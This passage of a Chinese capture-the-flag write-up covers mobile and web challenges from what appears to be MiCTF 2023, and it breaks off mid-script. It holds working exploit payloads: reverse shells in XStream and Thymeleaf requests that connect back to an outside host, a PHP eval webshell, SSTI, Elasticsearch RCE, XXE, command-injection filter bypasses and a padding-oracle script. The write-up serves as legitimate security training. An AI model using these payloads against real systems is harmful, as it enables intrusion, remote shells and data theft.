// op a b 将寄存器a指向的数据加载到寄存器b b = load(a)
2 -> {
register[opcode[pos + 2]] = dest[register[opcode[pos + 1]]]
pos += 2
}
// op x1 x2 x3 x4 e 将常量 x4x3x2x1 加载到寄存器e e = x
3 -> {
register[opcode[pos + 5]] =
opcode[pos + 1] + (opcode[pos + 2] shl 8) + (opcode[pos + 3] shl 16) + (opcode[pos + 4] shl 24)
pos += 5
}
// op a b 寄存器a累加给寄存器b的值相加 b = a + b
4 -> {
register[opcode[pos + 2]] += register[opcode[pos + 1]]
pos += 2
}
// op a b 寄存器a减寄存器b并赋值给寄存器b b = a - b
5 -> {
register[opcode[pos + 2]] = register[opcode[pos + 1]] - register[opcode[pos + 2]]
pos += 2
}
// op a b 寄存器a乘以寄存器b并赋值给寄存器b b = a * b
6 -> {
register[opcode[pos + 2]] = register[opcode[pos + 1]] * register[opcode[pos + 2]]
pos += 2
}
// op a b 寄存器a除以寄存器b并赋值给寄存器b b = a / b
7 -> {
register[opcode[pos + 2]] = register[opcode[pos + 1]] / register[opcode[pos + 2]]
pos += 2
}
// op a b 寄存器b取余寄存器a并赋值给寄存器b b = b % a
8 -> {
register[opcode[pos + 2]] %= register[opcode[pos + 1]]
pos += 2
}
// op a 寄存器a自加1
9 -> {
tmp2 = opcode[pos + 1]
register[tmp2]++
++pos
}
// op a b 判断寄存器a和寄存器b的值是否相等
10 -> {
tmp2 = register[opcode[pos + 1]]
tmp1 = register[opcode[pos + 2]]
if (pos == 68) {
println("${tmp2}-${tmp1}")
// tmp2 = tmp1
checkDest.add(tmp1)
}
pos += 2
tmp1 = tmp2 - tmp1
}
// op a 跳转指令
11 -> {
val p = opcode[pos + 1]
tmp2 = pos
if (tmp1 != 0) {
tmp2 = if (p < 128) {
p
} else {
p - 256
}
tmp2 = pos + (tmp2 - 2)
}
pos = tmp2 + 1
}
// 成功
12 -> {
tag = true
println(checkDest.joinToString(","))
++pos
}
}
++pos
}
}
fun main() {
vm()
val origin = intArrayOf(
67,
35,
47,
44,
57,
110,
33,
63,
51,
22,
78,
114,
87,
116,
0,
104,
15,
86,
85,
96,
109,
34,
47,
1,
91
)
val sb = StringBuilder()
for (i in origin.indices) {
sb.append(Char(origin[i] xor dest[i]))
}
println(sb.toString())
}
代码做了简单的注释,也对opcode进行了分组。
大体含义,先对8个寄存器进行初始化,然后寄存器内的数字进行运算,与dest中的每一位进行比较。如果全部比较成功,则正常退出返回。
由于只是内部的值参数运算,而dest全程未参与,只是用于比较。于是这里做了个trick,在比较的指令码11里记录当前运算的值,并将比较结果强行置为true。这样vm不会因值不相等而退出,而且执行完成的结果就是最终的运算结果了。
别漏了apk反编译的java代码里的一个逻辑,将运算结果与初始数组进行异或,还原出原始的字符串。
mobile-11 重定向进阶
确定是bytectf的一道原题了,当时还有幸和同学一起做过
简单来说,flag是写在自己目录空间里的,其它应用没有直接访问的权限。而通过转发intent,就相当于使用转发中间人访问自己的资源,我们可以利用这次转发为资源授予读取权限。
难点在于怎么利用获取文件路径,构造provider的资源uri。
先看文件写入的地址,new File(this.getFilesDir(), "flag"),getFilesDir()
获取的的自己目录空间下的/files目录。应用的目录空间在/data/data/[package_name]/
下,所以这个文件写入的地址是/data/data/com.mictf.intent1/files/flag
。
然后构造一个content URI。
格式为:content://[authorities]/[name]/[file_relative_path]
- authorities 在AndroidManifest.xml文件有提到,这里是android:authorities="com.mictf.flag"
- name 代表根路径的别称,这个在/res/xml/file_paths.xml文件里,这里是
- file_relative_path 就是上面写入的资源路径。
构造出来的contentURI就是
content://com.mictf.flag/root/data/data/com.mictf.intent1/files/flag
写个intent利用一下:
fun attack() {
val pwn = Intent("PWN")
pwn.setClassName("com.mictf.intent1", "com.mictf.intent1.MainActivity")
pwn.data =
Uri.parse("content://com.mictf.flag/root/data/data/com.mictf.intent1/files/flag")
pwn.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION or
Intent.FLAG_GRANT_WRITE_URI_PERMISSION)
startActivityForResult(pwn, 0)
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
if (data?.action == "PWN") {
val intentData = data.data
val isr = InputStreamReader(contentResolver.openInputStream(intentData!!))
val buf = CharArray(1024)
val sb = StringBuffer("")
while (-1 != isr.read(buf, 0, 1024)) {
sb.append(String(buf))
}
val flag = String(sb)
Toast.makeText(this, flag, Toast.LENGTH_LONG).show()
}
}
现象是先从attackapp跳转到对应的目标Activity,按back返回后,回到attackapp,同时Toast打印了flag文件里的内容。
Web
web-1 聊天室
为什么live2d展示不出来。。。
直接翻源码,找到flag
web-2 风险组件
放出了hint,提到xStream组件。发现版本是1.4.10,洞洞很多。但是试了好久都没成功。最后终于发现,反弹shell写错了。。。
基本上都是利用xStream在发序列化xml时候的漏洞。。。
先在自己服务器上nc监听一个端口
然后构造一个POC,提交。
POST /login HTTP/2
Host: vul-xs-ctf.dun.mi.com
Cookie: MIDUN-Cookie
Content-Length: 630
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Accept: application/json, text/plain, */*
Content-Type: application/xml
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://vul-xs-ctf.dun.mi.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vul-xs-ctf.dun.mi.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMzUuNDguMzYvODIxMiAwPiYx77u/}|{base64,-d}|{bash,-i}
</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
在项目目录就可以看到了flag文件了。
web-3 简单文件包含
先尝试一些协议,phpinput都无法使用,先用base64获取到upload.php源码
# /index.php?file=php://filter/read=convert.base64-encode/resource=upload.php
<?php
if(isset($_FILES['upfile'])){
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);
//检查文件内容
$text = file_get_contents($_FILES['upfile']['tmp_name']);
echo $ext;
//检查文件后缀
if (!preg_match("/ph.|htaccess/i", $ext)){
if(preg_match("/<\?php/i", $text)){
echo "你的文件内容有恶意代码<br>";
}
else{
move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
echo "上传成功<br>路径为:" . $uploadfile . "<br>";
}
}
else {
echo "恶意后缀<br>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>上传文件</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
请不要上传php脚本哟
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="upfile" value="" />
<input type="submit" name="submit" value="提交" />
</form>
</body>
</html>
过滤还是挺严格的,对后缀和内容都进行了判断。后来了解到除了<?php
可以作为php脚本以外,html标签也可以<script language='php'>
,于是上传一个该标签的脚本。
<script language='php'>
@eval($_POST['hack']);
</script>
蚁剑连接获取flag。
web-4 不安全的Redis服务
未认证的redis,找了几个利用方式,利用数据备份功能,条件都比较苛刻:
- cron 反弹shell —— cron目录被删除
- 写入ssh key —— ssh 拒绝连接
- 写入php木马 —— 未提供php服务
后来找到一个利用主从加载so文件的利用方式,成功获取交互式shell
https://www.cnblogs.com/paperpen/p/11178751.html
在根目录下获取到flag
web-5 真假难辨
访问indes.php会自动跳转到index.php,从而出现404
用postman访问,禁用自动跳转,在header里找到了flag
web-6 低版本的Flask
在url里填写name参数后,访问的页面会打印填入的内容,猜测是个模板引擎的执行漏洞。
找到了低版本Flask SSTI漏洞,flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。
构造注入语句,可以执行任意的shell语句,找到flag文件cat获取
https://easyweb01.dun.mi.com/?name={{%27abc%27.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__[%27popen%27](%27cat%20flag%27).read()}}
这里比较麻烦的一个是如何获取os._wrap_close类来执行shell命令,通过查找发现在所有子类的118位。这个是慢慢试出来的。
web-7 粗心上线
这个题目前期给的信息很少,这里猜测了一下,是不是把目录直接拷贝上线了,没有注意.git目录的存在。访问 http://10.167.93.41/.git/ 出现了禁止访问的字样,说明这个目录是存在的。http://10.167.93.41/.git/HEAD/ 也成功获取到了最新分支。
剩下的就好办了,找到一个利用工具 https://github.com/lijiejie/GitHack ,执行命令
python3 GitHack.py http://10.167.93.41/.git/
会将远程的.git下载下来然后还原出flag文件。
web-8 ElasticSearch
es的远程执行,构造一个POST请求,获取到flag
POST https://ctf-es.dun.mi.com/_search?pretty
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /flag\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
web-9 才开始学nginx
html源码提示了flag的位置
猜测是个路径遍历问题,试了一下/files/果然列出了路径,构造一个指向/tmp目录的路径,下载flag文件拿到flag。
https://vul-nginx-ctf.dun.mi.com/files../tmp/
web-10 标准模板:欢迎光临
放出hint提示模板引擎使用了thymeleaf,看路径包含的页面是通过url参数传入的,构造POC执行反弹shell
PATH=
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xMC4yMzUuNDguMzYvODIxMiAwPiYx77u/}|{base64,-d}|{bash,-i}").getInputStream()).next()}__::.x
GET /welcome?path=__%24%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22bash%20-c%20%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yMzUuNDguMzYvODIxMiAwPiYx77u%2f%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%22).getInputStream()).next()%7d__%3a%3a.x HTTP/2
Host: vul-tm-ctf.dun.mi.com
http/2:
Cookie: MIDUNCOOKIE
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
web-11 unserialize
题目提示给了两个参数file和data,file是一个文件包含命令,data的作用还不知道。
首先通过file将index.php的源码获取过来
http://10.167.34.63/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
base64解码后就变成了一个实际的代码审计题目
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/flag/i", $file)){
die("我知道你知道了文件位置,但请不要直接获取它");
}
else{
include "$file";
}
}
class Example {
public $file;
function __destruct() {
if(file_exists($this->file)) {
echo file_get_contents($this->file);
}
}
}
if (isset($_GET['data'])) {
$s_data = $_GET['data'];
$uns_data = unserialize($s_data);
if ($uns_data instanceof Example) {
echo "Data unserialized successfully.";
} else {
echo "Invalid data.";
}
} else {
echo "flag? Try file= or data= ";
}
?>
关键是对data处理,首先将data反序列化,然后Example在销毁的时候会自动打印 $file 的内容。
于是就想到序列化构造一个数据,然后通过data反序列化来赋值 $file 参数,最终获取flag内容。
构造Example序列化数据
<?php
print("Hello, World\n");
class Example {
public $file = "/flag.txt";
function __destruct() {
if(file_exists($this->file)) {
echo file_get_contents($this->file);
}
}
}
$a = new Example();
print(var_dump(serialize($a)));
?>
// string(45) "O:7:"Example":1:{s:4:"file";s:9:"/flag.txt";}"
构造url执行
http://10.167.34.63/index.php?file=php://filter/read=convert.base64-encode/resource=index.php&data=O:7:"Example":1:{s:4:"file";s:9:"/flag.txt";}
web-12 不安全的代理服务
这个题没太懂,就是一个页面放了一会儿,刷刷的在跑流量。
发现有的public接口里附带了基本的认证参数,flag接口提示未认证。就想到重放flag接口,并添加认证参数。
成功获取了flag。
web-13 php-audit
php源码审计题目,发现禁止请求localhost,但是又告诉你flag在哪里
利用curl的file协议,访问本地文件,构造url,获取flag
http://10.167.34.65/index.php?url=file:///var/www/html/flag.php
web-14 jenkins
给了一个jenkins系统,未登录。试了一下弱口令admin/admin,居然登录进去了。开始找能列目录的地方。找了几圈在节点管理里发现一个执行命令的输入框。
查找flag的位置,最后输出flag。
web-15 一个blog
文件包含,html里提供了包含的源码
$page = $_GET['page'];
$allowed_pages = array('home', 'about', 'contact');
if(isset($page) && !in_array($page, array('flag'))){
include($page . '.php');
} else {
include('home.php');
}
可以发现,只要page参数不等于flag
,就直接与.php拼接然后include进来。
所以,可以使用相对路径绕过对黑名单的判断page=./flag
web-16 认证绕过
这个题刚开始无从下手,就在乱试。页面就提供了一个/doLogin接口和登录失败提示可以通过/flag/get获取flag。
开始想到sql注入,但是这个题目标题不像是通过sql进行操作的样子。于是就找响应的可以点。
有个可以点是/doLogin接口会将RememberMe的cookie删掉。通过这个关键词入手,发现shiro存在认证绕过漏洞。
有两类,一类是通过爆破Remember的加密方式,获取加密密钥修改权限。这个题目没有RememberMe的相关功能。
第二类是构造特殊路径,绕过shiro的权限对路径的判断。尝试了几个,发现CVE-2020-13933可以使用。成功获取flag。
GET /flag/%3bget HTTP/1.1
web-17 文件解析器
hint说可以解析xml。。。谷了一下有个Blind XXE实体引入的可以利用。而且也能正常回显。剩下的问题是flag的路径在哪里?随便猜了几个,运气好猜到了。。。
POST /upload HTTP/1.1
Host: 10.167.191.230:8080
Content-Length: 361
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.167.191.230:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycLlwfudSbAubDEQp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.167.191.230:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundarycLlwfudSbAubDEQp
Content-Disposition: form-data; name="file"; filename="island_extend.png"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "file:///flag.txt">
]>
<reset><login>&file;</login><secret>Any bugs?</secret></reset>
------WebKitFormBoundarycLlwfudSbAubDEQp--
web-18 SELF GPT - 1
是个比较有名的开源项目 https://github.com/binary-husky/gpt_academic ,先下载代码看了一下。
issue里有人提到了项目存在漏洞,但是没有后文了。
然后就放在那里没有理它。。。
==================One Year Later================
想起来又拿出来看看。开始找python相关的漏洞。
- 首先想到的是有没有调用系统shell执行命令的地方。发现了一个调用系统命令wget下载文献的地方,但是被注释了。
- 项目使用了上传和解压压缩文件的功能。搜了一下,相关利用方式是上传一个带软链的目录,访问任意目录。
- 上传的文件怎么下载下来。发现有个下载文件的接口,开放了
/tmp/gradio/[随机串]
的临时目录,和private_upload/[日期时间]/[上传文件名]
的目录。只能访问到具体文件,没有列目录的能力。
- 然后开始构造软链,测试文件。
- /etc/hosts 可以访问
- /etc/passwd 可以访问
- /home/work 没有内容
- ../../.././xxxxxxxx/flag等可能的flag文件,没有找到
- /root/.bash_history 没有权限
- 又试了几个目录,../的软链会递归,然后用根目录的软链的话,程序会卡死。。。
- 尝试了好多种方法没有突破。问题就卡在如何通过列目录找到flag文件(有点想放弃)
- 猛然间想到要不从项目本身的文件找找突破口?
- 构造了一个返回上几级的软链,看了一下这几个文件的内容,最后终于在config.py发现了硬编码的flag。flag{9fdeb6b22d04f449360f99414397055e}
web-19 粗心的程序员!
这个题的点比较多,需要各个击破。
第一个点是vim,很容易想到了vim的交换文件,访问 .index.php.swp
获取到交换文件。
执行 vim -r .index.php.swp
还原出原文件。
<?php
include("conn.php");
$username = addslashes($_GET["username"]);
$age = addslashes($_GET["age"]);
$password = addslashes($_GET["password"]);
$password1 = addslashes($_GET["password1"]);
$sql = "SELECT username, age FROM user_info";
$sub_sql = " AND username = '{$username}'";
$sql = sprintf("SELECT username, age FROM user_info WHERE age = '%s'".$sub_sql, $age);
echo "<!--".$sql."-->";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
if ($row["age"] == 999 && $password != $password1 && md5($password) == md5($password1)) {
echo "Congratulations! Flag is ".$flag;
die();
} else {
echo "My name is:".$row["username"];
echo "<br>";
echo "My Age is:" . $row["age"];
die();
}
}
} else {
echo "My name is:".$row["username"];
echo "<br>";
echo "My Age is:" . $row["age"];
echo "<br>";
echo "I am a coder. My favorite IDE is VIM, do you like it?";
die();
}
$conn->close();
?>
第二个是sprintf+addslashes的SQL注入,只要构造 %1$' or 1#
在addslashes的作用下在单引号前面会插入一个\,当传入sprintf时%
就会‘吞掉’后面的\,从而‘’’逃逸出来,完成注入。
第三个需要跳过第18行的三个判断条件:
- 年龄等于999,这怎么可能。可以在sql后面通过union all的方式补充一条假的数据
%1$' union all select 1, 999 #
- password和password1的值不相等,但是md5运算却相等。刚开始想到了md5碰撞,但是后来想了想不应该这么复杂,就发现了PHP有个隐式转换的缺陷,PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。 构造例子 QNKCDZO 240610708 当然,安全的比较方法是三个=,也就是“===”。
完成以上所有的点之后,最终构造出来的url就有了。请求获取flag
https://sqli-ctfd.dun.mi.com/index.php?username=%1$' union all select 1, 999 %23&age=999&password=QNKCDZO&password1=240610708
web-21 一个网络测试工具
这个题目传递一个ip参数,会对这个参数执行ping命令。想到了后端是不是使用了命令拼接直接交个shell执行。尝试分隔命令,引入自己的命令。
试了几个分隔符都不行,而且使用了黑名单的分隔符会出现禁止访问的页面。(试分隔符卡了好久。。。)
忽然想到ip的内容会回显到页面,可不可以通过二次运算的方式让执行命令的结果通过ping命令的报错回显出来。按照这个思路配合base64编码绕过字符检测,成功获取到了文件内容。
// cat index.php
$($(base64 -d <<< Y2F0IGluZGV4LnBocA==))
// cat /etc/getflag.php
$($(base64 -d <<< Y2F0IC9ldGMvZ2V0ZmxhZy5waHA=))
可以看一下被困扰了好久的庐山真面目:
GET /?ip=%24(%24(base64%20-d%20%3c%3c%3c%20Y2F0IGluZGV4LnBocA%3d%3d)) HTTP/2
Host: vul-php1-ctf.dun.mi.com
HTTP/2 200 OK
Date: Thu, 11 May 2023 12:16:22 GMT
Content-Type: text/html; charset=UTF-8
Server: MonKing/3.14
Xiaomi-Security-Center: if any vulnerability found, go https://sec.xiaomi.com
X-Proxy-Node: 6DFF018CAF79FBEC
ping: IDN encoding of ''<?php<br />
#flag在/etc/getflag.php<br />
if (isset($_GET['ip'])) {<br />
$ip = $_GET['ip'];<br />
$in_ip = escape_shell_arg($ip);<br />
$ping_result = run_with_timeout("ping -c 2 \"$in_ip\"", 4);<br />
echo nl2br($ping_result);<br />
} else {<br />
echo "请传递 ip 参数!";<br />
}<br />
<br />
function escape_shell_arg($arg) {<br />
// 对字符串中的单引号、双引号、&、|、;、`等字符进行过滤<br />
if (preg_match("/['\"&|;`]/", $arg)) {<br />
http_response_code(403);<br />
exit;<br />
}<br />
<br />
return escapeshellarg($arg);<br />
}<br />
<br />
function run_with_timeout($cmd, $timeout) {<br />
$output = null;<br />
$pipes = null;<br />
<br />
// 创建一个子进程并执行命令<br />
$process = proc_open($cmd, [['pipe', 'r'], ['pipe', 'w'], ['pipe', 'w']], $pipes);<br />
<br />
if (is_resource($process)) {<br />
stream_set_blocking($pipes[1], 0); // 非阻塞读取标准输出<br />
stream_set_blocking($pipes[2], 0); // 非阻塞读取标准错误<br />
$start_time = time();<br />
<br />
while (true) {<br />
// 检查子进程是否已经结束<br />
$status = proc_get_status($process);<br />
if (!$status['running']) {<br />
break;<br />
}<br />
<br />
// 读取标准输出和标准错误<br />
$stdout = stream_get_contents($pipes[1]);<br />
$stderr = stream_get_contents($pipes[2]);<br />
<br />
// 如果超时则杀死子进程并退出<br />
if (time() - $start_time >= $timeout) {<br />
proc_terminate($process);<br />
return "Command execution timed out!";<br />
}<br />
<br />
// 暂停一段时间再继续读取<br />
usleep(10000);<br />
}<br />
<br />
// 读取子进程退出时的标准输出和标准错误<br />
$output = stream_get_contents($pipes[1]);<br />
$output .= stream_get_contents($pipes[2]);<br />
fclose($pipes[0]);<br />
fclose($pipes[1]);<br />
fclose($pipes[2]);<br />
proc_close($process);<br />
}<br />
<br />
return $output;<br />
}<br />
<br />
?>'' failed with error code 9<br />
web-22 文件预览服务器
访问地址,提示提供filepath,随便试了几个,只是返回“文件不存在”。
试了下index.php,发现返回了源码。
源码告诉了flag的位置和基本的代码逻辑。
看注释,说是不能包含两个连续的上一级,那就用当前目录隔开就行了。构造filepath获取flag。
filepath=.././.././../etc/flag.php
web-23 PHP IS BEST
php源码审计题
<?php
include 'flag.php';
extract($_GET);
if (!empty($one))
{
$three = trim(file_get_contents($two));
if ($one === $three)
{
echo "<p>恭喜:" ." $flag</p>";
}
else
{
echo "<p>继续加油!</p>";
}
}
else
{
highlight_file(__FILE__);
}
?>
从get参数的two传递一个路径,获取这个路径的值,并且与one中的值比较,如果相等则输出flag。
这个题目的关键是如何将two的值变为我们可控的一个值,正好file_get_contents支持获取base64编码的data值,由此构造一个请求。
http://10.167.15.103/?one=mictf&two=data%3a%2f%2ftext%2fplain%3bbase64%2cbWljdGY%3d
web-24 简约但不简单
ping命令绕过,找到了一个原题。
首先获取index.php代码,绕过空格。 ?ip=1;cat$IFS$1index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
// $a = shell_exec("ping -c 4 ".$ip);
$a = shell_exec("ping ".$ip);
echo "
";
print_r($a);
}
?>
看到代码确定是原题了。用拼接的方法,绕过对flag顺序的检测 ?ip=1%3ba%3dag.php%3bb%3dfl%3bcat%24IFS%241%24b%24a
web-25 神奇的计算器
随便输入一个表达式,会自动包裹#{}
然后返回表达式结果,猜测是spEL的表达式引擎。spEL表达式可以通过T()获取类,然后利用内部的类执行一些命令。
思路是这样,实际操作过程中,发现过滤了很多关键词
getClass
exec
lang
forName
这就导致getClass()然后forName()获取对应类的方法无法使用了。
试了好几个方法,终于发现一个读文件的方式没有被过滤,根据前几个Java题猜测(可能是一个人出的题目)flag的文件名是flag.txt
。写入脚本成功获取flag。
expression=#{new java.util.Scanner(new java.io.File("flag.txt")).next()}
web-26 天女散花
上来给了一个页面,试了一下,发现跳转到error.html,开始猜测页面地址。最后猜到了success.html有内容。
提供了四个页面,前三个每个页面的源码都能看到一段flag。
最后一个页面通过链接跳转不过去,看页面分布情况,猜测最后一个页面地址是04.html
拼凑出来提交flag。
web-27 想获取flag吗
提示给出来说要先获取源码,查看提示可以尝试包含ma.php。在index.php试了几个参数,发现file=可以包含。获取index.php和ma.php的源码。
/?file=php://filter/convert.base64-encode/resource=ma.php
/?file=php://filter/convert.base64-encode/resource=index.php
这里重点看一下ma.php的源码,是一个绕过
<?php
error_reporting(0);
function blacklist($cmd){
$filter = "(\\<|\\>|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
if (preg_match("/".$filter."/is",$cmd)==1){
exit('Go out! This black page does not belong to you!');
}
else{
system($cmd);
}
}
blacklist($_GET['cmd']);
?>
看样子禁用了空格,一些基本的查看命令,尝试了几种方法,最后用base64编码+空格绕过的方式获取到的flag。
/ma.php/?cmd=echo$IFS$9Y2F0IC9mbGFnLnR4dA==|base64$IFS$9-d|bash
空格使用 $IFS$9
绕过,命令编码base64,内容是 cat /flag.txt
。
web-28 神奇的魔方
开始给了个页面,是个魔方游戏。开始找页面源码的内容。
这段奇怪的混淆最终证明确实是控制台输出的那些文本。。。
然后看到了请求头里返回的服务器名称openresty/1.21.4.1
有什么漏洞可以用,找了一下也没有。。。
注意到网站会把不存在的资源返回index.gk的内容,试了一个static和uploads里常用的路径(例如/static/index.css),发现不太行。(事后发现,直接访问/uploads路径就出来了)。。。考虑到一个一个猜比较麻烦,就上路径扫描了。
# sumy @ SumyDeMBP in ~/PycharmProjects/dirmap on git:master
$ python3 dirmap.py -i http://10.167.181.96/ -lcf
##### # ##### # # ## #####
# # # # # ## ## # # # #
# # # # # # ## # # # # #
# # # ##### # # ###### #####
# # # # # # # # # #
##### # # # # # # # # v1.0
[*] Initialize targets...
[+] Load targets from: http://10.167.181.96/
[+] Set the number of thread: 30
[+] Coroutine mode
[+] Current target: http://10.167.181.96/
[*] Launching auto check 404
[+] Checking with: http://10.167.181.96/avrescwitssamcofbyccnslxyowtryrdinlrmdyuaq
[*] Use recursive scan: No
[*] Use dict mode
[+] Load dict:/Users/sumy/PycharmProjects/dirmap/data/dict_mode_dict.txt
[*] Use crawl mode
[200][application/octet-stream][6.00kb] http://10.167.181.96/.DS_Store
[200][application/octet-stream][0b] http://10.167.181.96/common
[200][application/json; charset=utf-8][43.00b] http://10.167.181.96/download
[200][text/html][1.07kb] http://10.167.181.96/index.html
[200][text/html][2.17kb] http://10.167.181.96/templates/
[200][text/html][334.00b] http://10.167.181.96/uploads/
100% (5715 of 5715) |##############################################| Elapsed Time: 0:02:44 Time: 0:02:44
(base)
发现有个下载路径/download指定file可以下载文件。尝试下载/download?file=/flag/flag.txt,感觉没那么容易。会删除ag/
和../
这两个字符串。
这好说,构造一下就行了:
..././
代替 ../
agag//
代替 ag/
最终获取flag。
web-29 拿到管理员权限就能得到flag啦!
上来就能看到源码,是一个代码审计题目。直接拿代码的关键词谷歌,发现是CBC翻转字节攻击的方法。找到一篇博客里面有POC。https://chybeta.github.io/2017/11/18/LCTF-2017-Simple-blog-writeup/
参考里面的代码,实现了一版Java版本的,开始爆破,几分钟救出来了。。。(调代码调了几个小时。。。
package com.sumygg.mictf2023.web_29
import okhttp3.MediaType.Companion.toMediaType
import okhttp3.OkHttpClient
import okhttp3.Request
import okhttp3.RequestBody.Companion.toRequestBody
import org.apache.commons.codec.binary.Base64
val url = "https://decrypt-ctfd.dun.mi.com/index.php?run=1"
val N = 16
var client = OkHttpClient()
val casCookie = "MIDUN_COOKIE"
fun injectToken(token: String): String {
val body = "{}".toRequestBody("application/json".toMediaType())
val request = Request.Builder()
.url(url)
.header("Cookie", "${casCookie}PHPSESSID=$phpsession;token=$token")
.post(body)
.build()
val response = client.newCall(request).execute()
val str = response.body?.string() ?: "Err!empty body"
// println(str)
return str
}
fun xor(a: String, b: String): String {
return a.indices.map { (a[it].code xor b[it % b.length].code).toChar() }.joinToString("")
}
fun pad(str: String, n: Int): String {
val l = str.length
if (l != n) {
return str + ((n - l).toChar().toString().repeat(n - l))
}
return str
}
fun paddingOracle(n: Int): String {
var get = ""
for (i in 1 until n + 1) {
for (j in 0 until 256) {
val padding = xor(get, i.toChar().toString().repeat(i - 1))
val c = Char(0).toString().repeat(16 - i) + j.toChar() + padding
val result = injectToken(String(Base64.encodeBase64(c.toByteArray())))
if ("Err!" !in result) {
get = (j xor i).toChar() + get
break
}
}
}
return get
}
var phpsession = "399476c1af05f00d22d4e318db0ef2a7"
var originToken = "eXlQSmJmdXc2NzI0SmpodQ=="
var token = String(Base64.decodeBase64(originToken))
fun getSessionAndToken() {
val body = "{}".toRequestBody("application/json".toMediaType())
val request = Request.Builder()
.url(url)
.header("Cookie", "${casCookie}foo=bar")
.post(body)
.build()
val response = client.newCall(request).execute()
val responseCookie = response.headers("Set-Cookie")
val cookies = HashMap<String, String>()
for (setCookie in responseCookie) {
println(setCookie)
val match = "([^=]+)=([^\\;]+);?.*".toPattern().matcher(setCookie)
if (match.matches()) {
cookies[match.group(1)] = match.group(2)
}
}
phpsession = "${cookies["PHPSESSID"]}"
originToken = "${cookies["token"]}".replace("%3D", "=")
token = String(Base64.decodeBase64(originToken))
}
fun main() {
while (true) {
// getSessionAndToken()
println(phpsession)
println(originToken)
val middle1 = paddingOracle(N)
println(middle1)
println(middle1.length)
if (middle1.length + 1 == 16) {
for (i in 0 until 256) {
val middle = i.toChar() + middle1
println("token:${token}")
println("middle:${middle}")
val plaintext = xor(middle, token)
println("plaintext:${plaintext}")
val des = pad("admin", N)
var tmp = ""
for (j in 0 until 16) {
